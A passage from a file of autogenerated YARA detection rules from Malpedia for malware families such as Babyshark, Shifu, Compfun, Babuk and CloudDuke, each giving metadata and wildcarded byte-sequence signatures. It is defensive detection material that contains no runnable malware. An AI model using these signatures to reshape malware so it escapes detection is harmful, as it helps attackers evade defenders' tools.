		logic_hash = "e8d2888b0e7d3535c791d7aba0e1785261ca562eca0e4741087a888aec2763e8"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4c89f1 e8???????? b901000000 4989c5 e8???????? 4989c4 0fb644244f }
		$sequence_1 = { e9???????? 498b0424 8954244c 4c89e1 4488442440 ff5048 8b54244c }
		$sequence_2 = { 488945b0 488b45c8 0fb64038 3c01 7423 84c0 0f849e000000 }
		$sequence_3 = { 48397c2448 0f83b5000000 488b4310 488b5318 c644244401 4839d0 }
		$sequence_4 = { 7426 662e0f1f840000000000 498b4c2408 4885c9 7446 4983c420 e8???????? }
		$sequence_5 = { 4c89f7 31c0 f3aa b903000000 c744244c04010000 4989f0 4c89f2 }
		$sequence_6 = { 4e8d0441 4c894220 4e8d0c49 4c894a30 41b900000080 4c39c8 7c1b }
		$sequence_7 = { c744243c00000000 89442420 e8???????? b804000000 4d8d442410 488b542448 488b4c2440 }
		$sequence_8 = { 3c20 7407 88842f39010000 488b8ba0000000 e8???????? 4885c0 0f84a6020000 }
		$sequence_9 = { e8???????? 418b442414 83f80a 7580 0f1f00 49ff442430 49c744242800000000 }
	condition:
		7 of them and filesize < 3345408
}

rule MALPEDIA_Win_Babyshark_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "bba62dea-b8fb-5177-af59-ee7484609223"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.babyshark"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.babyshark_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "170a55c792dd841a430b5276e4b7ea8cd0c0e2d28c406b503a22728951bd6c1d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83c40c 8d4c2404 6a00 51 ffd6 6a00 }
		$sequence_1 = { 8bc8 83e01f c1f905 8b0c8d607e4000 8a44c104 83e040 }
		$sequence_2 = { 8b0c8d607e4000 8a44c104 83e040 c3 a1???????? }
		$sequence_3 = { bf???????? f3ab 8d3452 895dfc c1e604 aa 8d9ec8674000 }
		$sequence_4 = { 80e920 ebe0 80a0206c400000 40 3bc6 72be 5e }
		$sequence_5 = { 8db6bc674000 bf???????? a5 a5 59 a3???????? }
		$sequence_6 = { 8a8094504000 83e00f eb02 33c0 0fbe84c6b4504000 }
		$sequence_7 = { c1f804 83f807 8945d0 0f879a060000 ff2485271a4000 834df0ff }
		$sequence_8 = { 5e 8d0c8dc8614000 3bc1 7304 3910 7402 }
		$sequence_9 = { ff15???????? 8bf0 68???????? 8d442408 68???????? 50 }
	condition:
		7 of them and filesize < 65272
}

rule MALPEDIA_Win_Shifu_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "94131f96-f004-59ab-be06-e4302b4af25a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shifu"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shifu_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "c03c0d8c15de6f3e31605e542d8b0452407c2c6c3eb4ca0055ffada2d5d050db"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 895dfc 6a08 58 e8???????? 8bc4 85c0 7411 }
		$sequence_1 = { 56 e8???????? 85c0 0f848d010000 ff7508 683a041000 e8???????? }
		$sequence_2 = { 83c420 f644242010 741c 6a04 6a00 ff742418 e8???????? }
		$sequence_3 = { 83c604 833e00 75a3 83c714 8b470c 85c0 0f8573ffffff }
		$sequence_4 = { 6800200000 57 57 6a02 ff15???????? 8bd8 3bdf }
		$sequence_5 = { 7516 6aff 53 ff15???????? 83f8ff 7408 53 }
		$sequence_6 = { 85c0 7540 3945f4 7447 ff15???????? 8b75f8 8365f400 }
		$sequence_7 = { 50 68060000c8 56 c7442430b907a225 c744243660468ee9 c744243a76e58c74 66c744243e063e }
		$sequence_8 = { 50 ff15???????? 6a10 58 e8???????? 8bc4 3bc7 }
		$sequence_9 = { e8???????? 50 ffd6 893d???????? 3bc7 740a c705????????01000000 }
	condition:
		7 of them and filesize < 344064
}

rule MALPEDIA_Win_Enfal_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "664ed877-3f83-5f6a-92fa-e1c35cd0edbd"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.enfal"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.enfal_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "872fbd5343bee5c1e22067a7277b79e519c2acefc43b08d0086dc684465dbd92"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 8d8648020000 68???????? 50 }
		$sequence_1 = { bffe010000 eb05 bff4010000 8bc7 5e eb02 }
		$sequence_2 = { 51 8d8de8fcffff 51 53 ff505c 85c0 }
		$sequence_3 = { 8d85b4fdffff 68???????? 50 e8???????? 8d85b4fdffff 57 }
		$sequence_4 = { 8bec 81eccc040000 53 56 8b35???????? 57 }
		$sequence_5 = { 89430c ffd6 8b4b1c 68???????? 57 }
		$sequence_6 = { 50 e8???????? 8d8628020000 68???????? }
		$sequence_7 = { 0fb645da 8d0480 8dbc0059020000 eb54 8b8548ffffff }
		$sequence_8 = { 6a01 57 ff15???????? 8bf0 85f6 0f848e000000 8b4624 }
		$sequence_9 = { 57 8901 ffd6 8b4b1c 68???????? 57 }
	condition:
		7 of them and filesize < 65536
}

rule MALPEDIA_Win_Gcleaner_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "db79045a-62be-5422-a484-4f1494402bb2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gcleaner"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gcleaner_auto.yar#L1-L117"
		license_url = "N/A"
		logic_hash = "87e8c0680ea583ebecdec70190c315f1a40f9206262d6c132334f2c61dd046c1"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 6a04 8d85f0feffff 50 56 ff15???????? 85c0 }
		$sequence_1 = { 5e c9 c3 53 ff7518 }
		$sequence_2 = { 8035????????2e 8035????????2e 8035????????2e 8035????????2e 8035????????2e }
		$sequence_3 = { 8bf8 83c40c 83ffff 743b 3bf7 }
		$sequence_4 = { 57 8bd0 c645fc03 8d4dc0 }
		$sequence_5 = { 7505 c60600 ebe9 837d1000 7518 }
		$sequence_6 = { 8bd0 c645fc02 8d4da8 e8???????? 57 8bd0 }
		$sequence_7 = { 8bd0 c645fc04 8d4dd8 e8???????? 83c410 8d4dc0 }
		$sequence_8 = { 50 660fd685f8feffff e8???????? 83c40c 56 }
		$sequence_9 = { ebe9 837d1000 7518 c60600 e8???????? }
	condition:
		7 of them and filesize < 540672
}

rule MALPEDIA_Win_Compfun_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c3d00d25-914d-52b8-aa23-a416041c458d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.compfun"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.compfun_auto.yar#L1-L160"
		license_url = "N/A"
		logic_hash = "8284624d97f6e1919129028ed727636c96197862138001108f45d962bbade24e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a00 56 e8???????? 83c40c c7460c57202020 c70652656745 c746046e756d4b }
		$sequence_1 = { c7460475705072 c746086976696c c7460c65676556 c74610616c7565 c6461500 8bc6 5e }
		$sequence_2 = { c7460c62757465 c6461200 8bc6 5e 5d }
		$sequence_3 = { 742d 53 8d85d8fdffff 50 a1???????? }
		$sequence_4 = { c746144533442d c7461843343537 c7461c39323931 c7462036393245 c6462500 }
		$sequence_5 = { e8???????? 59 50 57 ffd3 894650 85c0 }
		$sequence_6 = { 83c40c c746086c655720 c70643726561 c7460474654669 }
		$sequence_7 = { e8???????? 83c40c c706466c7573 c746046846696c c7460865427566 c7460c66657273 }
		$sequence_8 = { 488b8424a0000000 ff5030 85c0 7508 }
		$sequence_9 = { 837c2428ff 740a c744244401000000 eb08 }
		$sequence_10 = { 488b842438010000 8908 488b842438010000 8b08 }
		$sequence_11 = { ff15???????? 4c8bd8 488b442460 4c895848 }
		$sequence_12 = { 8b9424a4000000 488b8c2498000000 488b442438 420fb60400 }
		$sequence_13 = { 488b442420 48890424 488b0424 c70073766368 }
		$sequence_14 = { 483904d1 750a 8b442438 89442420 }
		$sequence_15 = { 488b442450 0fb600 3de9000000 740f }
	condition:
		7 of them and filesize < 402432
}

rule MALPEDIA_Elf_Babuk_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8eba83d0-6c95-5d1f-85db-3750f26fdff6"
		date = "2024-10-31"
		modified = "2024-11-11"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.babuk"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/elf.babuk_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "a4e1d4252d61243f852bbd89e2ebf51566a3485791e9905d978089b8c49c4cb9"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20241030"
		malpedia_hash = "26e26953c49c8efafbf72a38076855d578e0a2e4"
		malpedia_version = "20241030"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 658b0d00000000 8b89fcffffff 3b6108 7678 83ec14 8b442418 8b4c241c }
		$sequence_1 = { 8b4c2438 890f 8b542444 89570c 8b1d???????? 85db }
		$sequence_2 = { e8???????? 8b44240c 89442410 8b4c2418 890c24 e8???????? 8b442420 }
		$sequence_3 = { e8???????? 8b442438 8b4804 90 8b492c 894c2420 e8???????? }
		$sequence_4 = { c3 658b1d00000000 8b9bfcffffff 8b5b18 8b5b70 8403 890424 }
		$sequence_5 = { 01d9 8b9c24a8010000 8bbc243c030000 01fb 11cd 8b8c248c010000 8b9c2464020000 }
		$sequence_6 = { 8b44244c 8b4c2440 31d2 eb06 8d5101 90 89f1 }
		$sequence_7 = { 895328 8b9424b0000000 8b8c2490000000 01ca 33562c 89532c }
		$sequence_8 = { 8b5a40 39d8 0f85360f0000 89bc2408020000 81c4dc010000 c3 89c7 }
		$sequence_9 = { 8b4c2424 01ca 89942444050000 8b8c2490050000 c1e11a 898c2420050000 }
	condition:
		7 of them and filesize < 4186112
}

rule MALPEDIA_Win_Attor_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9165df3a-0588-5937-bb39-c85fa6fb26bb"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.attor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.attor_auto.yar#L1-L164"
		license_url = "N/A"
		logic_hash = "0c87726814bf53a9906b73b9a1468bc9095c79fe1e564f252fa0222653b1264a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83f801 7411 3d81000000 740a }
		$sequence_1 = { 488bea 4c8be1 4889742440 4885c9 }
		$sequence_2 = { 0f84aa000000 4885d2 0f84a1000000 48895c2448 488d5a08 }
		$sequence_3 = { 498bcd e8???????? 4c8b6c2448 4d85e4 }
		$sequence_4 = { 48896810 488970e0 488978d8 33db 4c8970d0 4532e4 33f6 }
		$sequence_5 = { 4885c9 7427 488b842490000000 48899c2490000000 }
		$sequence_6 = { 4889442430 e8???????? 48399c2480000000 0f84ef000000 }
		$sequence_7 = { 4c8b6c2448 4d85e4 740f 33c9 e8???????? }
		$sequence_8 = { 83c404 83e103 f3aa 8b442414 85c0 }
		$sequence_9 = { 8bcf 8b7c2414 8bd1 33c0 c1e902 }
		$sequence_10 = { 740a 83f808 7405 83f811 }
		$sequence_11 = { 33ff 3bf7 c644241300 897c2418 897c241c 897c2414 0f8423010000 }
		$sequence_12 = { ff15???????? 89442420 8d442414 8d4c2420 50 51 }
		$sequence_13 = { 7411 6a00 e8???????? 56 ff15???????? 83c408 8b442430 }
		$sequence_14 = { 57 ffd6 83c408 8b7c2428 85ff 740d }
		$sequence_15 = { e8???????? 83c40c 3bc7 8944241c 0f84f3000000 }
	condition:
		7 of them and filesize < 2023424
}

rule MALPEDIA_Win_Colony_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6de8851a-b1ef-561a-a63a-12519dea8778"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.colony"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.colony_auto.yar#L1-L230"
		license_url = "N/A"
		logic_hash = "2b20de5492a48cc7fc726969d55d094c8002372f30c4bd6a4f1592aca3fb7fc0"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 740f 0301 eb0b a801 }
		$sequence_1 = { 32c0 8be5 5d c3 807d0800 56 57 }
		$sequence_2 = { 8b4224 2b4220 660f6ec0 f30fe6c0 }
		$sequence_3 = { 8b421c 2b4218 660f6ec0 f30fe6c0 }
		$sequence_4 = { 8a4203 8841fe 8a4202 8841ff 8b02 c1e808 8801 }
		$sequence_5 = { 334f14 8b45f4 894dfc 8bca c1e910 81e1ff000000 c1e808 }
		$sequence_6 = { 69d200008f04 2bc8 c1e910 69c161a4f778 2bd0 }
		$sequence_7 = { 7407 b901000000 eb0a 33c9 803f01 0f95c1 33c0 }
		$sequence_8 = { 0fbed9 83eb30 eb13 8ac1 }
		$sequence_9 = { 0f85bd000000 807dda01 751f 66a1???????? }
		$sequence_10 = { 0f85bc000000 f30f7e05???????? 660fd606 a0???????? }
		$sequence_11 = { 0f855b010000 8d7830 c7403c00000000 8d4838 eb0d 8d7824 }
		$sequence_12 = { 8b00 83f801 7e5c f7420400080000 }
		$sequence_13 = { 0f8fc9010000 0f84ad010000 3d09280000 0f8ff1000000 }
		$sequence_14 = { 8b4214 2b4210 660f6ec0 f30fe6c0 }
		$sequence_15 = { 0101 0101 0202 0202 0200 0102 0202 }
		$sequence_16 = { 483305???????? 488bcb 488905???????? ff15???????? 488d15a9980000 }
		$sequence_17 = { e9???????? 4c8d357e0c0100 488b0d???????? eb7b 4c8d35660c0100 }
		$sequence_18 = { 48393d???????? 448bf0 0f85f8000000 488d0d687b0000 33d2 41b800080000 }
		$sequence_19 = { e8???????? 488d15a3a50000 488d0d94a50000 e8???????? }
		$sequence_20 = { 488bd7 488bcf 48c1f905 83e21f 4c8d05f8c70000 498b0cc8 486bd258 }
		$sequence_21 = { 7519 4c8d05f3900000 8bd7 498bce }
		$sequence_22 = { b91e000000 e8???????? b9ff000000 e8???????? 4803db 4c8d3590fc0000 }
		$sequence_23 = { 488bc8 ff15???????? 488d15147b0000 488bcb 488905???????? }
	condition:
		7 of them and filesize < 7599104
}

rule MALPEDIA_Win_Ramdo_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e5dab1d9-452a-5887-a4af-58f6481f5f6c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ramdo"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ramdo_auto.yar#L1-L105"
		license_url = "N/A"
		logic_hash = "8755ec08f63d4c02872dc91cf7ac7496e98fc865f5e95d3244691dbde1a5dad8"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 68b3030442 6a00 6a00 e8???????? }
		$sequence_1 = { 68bc882a42 6a03 6a00 e8???????? }
		$sequence_2 = { 6894dac0dc 6a00 6a00 e8???????? }
		$sequence_3 = { ff55f8 8945fc 837dfcff 7411 }
		$sequence_4 = { 68dd786eac 6a03 6a00 e8???????? }
		$sequence_5 = { 68c07b3072 6a03 6a00 e8???????? }
		$sequence_6 = { 68b6b2cff5 6a03 6a00 e8???????? }
		$sequence_7 = { 68b928ece1 6a03 6a00 e8???????? }
		$sequence_8 = { 68b900308a 6a01 6a00 e8???????? }
		$sequence_9 = { 68c29e34ea 6a03 6a00 e8???????? }
	condition:
		7 of them and filesize < 548864
}

rule MALPEDIA_Win_Unidentified_042_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ae890a66-8da7-5772-a89f-ab1d2760fae8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_042"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_042_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "782ff3cf4462e323a29ec1ed58b2c131a4c6b0f31ed36cc79b62c6515d0facd2"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 56 8bf0 8b4508 8b00 57 8bf9 c70600000000 }
		$sequence_1 = { 53 8bd8 56 b800200000 33f6 66858350020000 7410 }
		$sequence_2 = { 8a1430 40 8855ff 33d2 8d7801 33c9 8955f4 }
		$sequence_3 = { 66858f50020000 0f8532ffffff c60616 8a977e010000 885601 8a877f010000 884602 }
		$sequence_4 = { 53 56 8bf0 a1???????? 33db 57 895df8 }
		$sequence_5 = { 895df4 8d75e8 e8???????? 8bc7 5f 5e }
		$sequence_6 = { 57 ffd6 a3???????? 85c0 0f8489020000 8d95d7fcffff 52 }
		$sequence_7 = { c78518f9ffff356c656e c7851cf9ffff636a5a44 c78520f9ffff49577a32 c78524f9ffff59725a56 c78528f9ffff4362620d c7852cf9ffff0a626671 c78530f9ffff73752f38 }
		$sequence_8 = { 0175f0 c1cf02 89b5ccfeffff 89bdd4feffff 8bfa }
		$sequence_9 = { 88480a 66859350020000 7548 8b7b18 8d700b 6a41 8bce }
	condition:
		7 of them and filesize < 516096
}

rule MALPEDIA_Win_Bedep_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6ea06871-a8ca-5ce7-b9c2-106c128847d6"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bedep"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bedep_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "16b76a62133391f06cc2c61f0e60ca33efb0a31528884eb23ddb66df3319299d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a02 5f 397df0 7e03 895dfc 837d0800 741f }
		$sequence_1 = { 8d45a4 50 ff7508 8975fc e8???????? }
		$sequence_2 = { e8???????? 8bf0 85f6 59 743c 8a45e0 832600 }
		$sequence_3 = { eb54 53 6878020000 8d8580fdffff 50 6a01 ff75f8 }
		$sequence_4 = { 85c9 7410 3bd1 740c 8b09 85c9 }
		$sequence_5 = { 740b 8d442410 50 ff15???????? 8bc7 5f 5e }
		$sequence_6 = { e8???????? 8bf0 f7c67fffffff 7729 ff7508 e8???????? 3bf3 }
		$sequence_7 = { 8b4c2414 8b463c c644240f01 ff742418 ff742420 ff7644 6a01 }
		$sequence_8 = { 40 85c9 7c08 668b4b0c 66014b0a 66894308 5f }
		$sequence_9 = { ff7638 ff742438 50 8d442450 50 ff742438 8d442438 }
	condition:
		7 of them and filesize < 557056
}

rule MALPEDIA_Win_Kurton_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d9353d3d-fdf8-56bf-b9b4-d5c14e22748b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kurton"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kurton_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "070c043684321322d3719fa588bcbbaeb820fca4094babc856258c0a6bac0e61"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 57 e8???????? 68???????? e8???????? 83c404 }
		$sequence_1 = { 52 ff15???????? 8b44241c 3bc3 7407 50 }
		$sequence_2 = { 57 7355 8bc1 c1f805 8d3c85a05b0210 8bc1 }
		$sequence_3 = { 8d4c240c 50 51 6a1f 52 }
		$sequence_4 = { 83e103 f3a4 8d4c240c e8???????? 8d4c2448 }
		$sequence_5 = { 8bce e8???????? 84c0 0f84d4000000 8bce e8???????? 84c0 }
		$sequence_6 = { 0f8498feffff bf???????? 83c9ff 33c0 }
		$sequence_7 = { 33c0 c68414c400000000 8bac24c8020000 f2ae f7d1 }
		$sequence_8 = { 3ac3 0f84d9000000 3cff 0f84d1000000 fec8 }
		$sequence_9 = { 57 55 8d5e10 8974241c 8bcb 8803 e8???????? }
	condition:
		7 of them and filesize < 344064
}

rule MALPEDIA_Win_Cloud_Duke_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e419e016-f5fc-54fd-9e45-72cf3dfc672c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cloud_duke"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cloud_duke_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "fda6f38613671be0889a1aab772fc69d0cd906ec00d4774d2302c1e1bbcac11b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b8a88e8ffff 33c8 e8???????? 83c008 8b4af8 33c8 }
		$sequence_1 = { 89442420 742b 48 89442414 6aff 6a00 57 }
		$sequence_2 = { e8???????? 51 8bc8 c645fc13 e8???????? 83c404 c645fc11 }
		$sequence_3 = { 897da4 6a13 6a00 68???????? 8bce e8???????? 83f8ff }
		$sequence_4 = { 83e4f0 6aff 68???????? 64a100000000 50 81ec2c020000 }
		$sequence_5 = { 50 c784240c010000ffffffff e8???????? 8b842404010000 f7d0 39442428 0f8599060000 }
		$sequence_6 = { 75f5 e9???????? 83f805 0f85b8020000 }
		$sequence_7 = { 8bf0 e8???????? 83c414 39b42418010000 0f8572000000 6a44 }
		$sequence_8 = { 668906 8945fc 8b4310 8b7e10 83c007 c745f001000000 3bf8 }
		$sequence_9 = { 0f57c0 0f43842420010000 51 8d8c24a0010000 }
	condition:
		7 of them and filesize < 368640
}

rule MALPEDIA_Win_Pathloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6e986434-599f-5205-bbd3-c4644fef6a44"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pathloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pathloader_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "7556d740969ba30806ff23ef7c71f55747c108deea39b5487e7d46d63a258306"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7742 498bc8 e8???????? 4c897710 48c747180f000000 }
		$sequence_1 = { 41ffd0 498986d8000000 488d55c8 48837de008 480f4355c8 4533c9 450fb786a0000000 }
		$sequence_2 = { 7524 488d0d5e940200 e8???????? 85c0 7510 488d0d66940200 e8???????? }
		$sequence_3 = { 488d15ea240100 e8???????? 8bcb 4885c0 740c }
		$sequence_4 = { 0fb705???????? 6689442460 0fb605???????? 88442462 448bc1 4183ff02 }
		$sequence_5 = { 4c63d2 488bd9 498bc2 458bf1 48c1f806 488d0dc0a20100 }
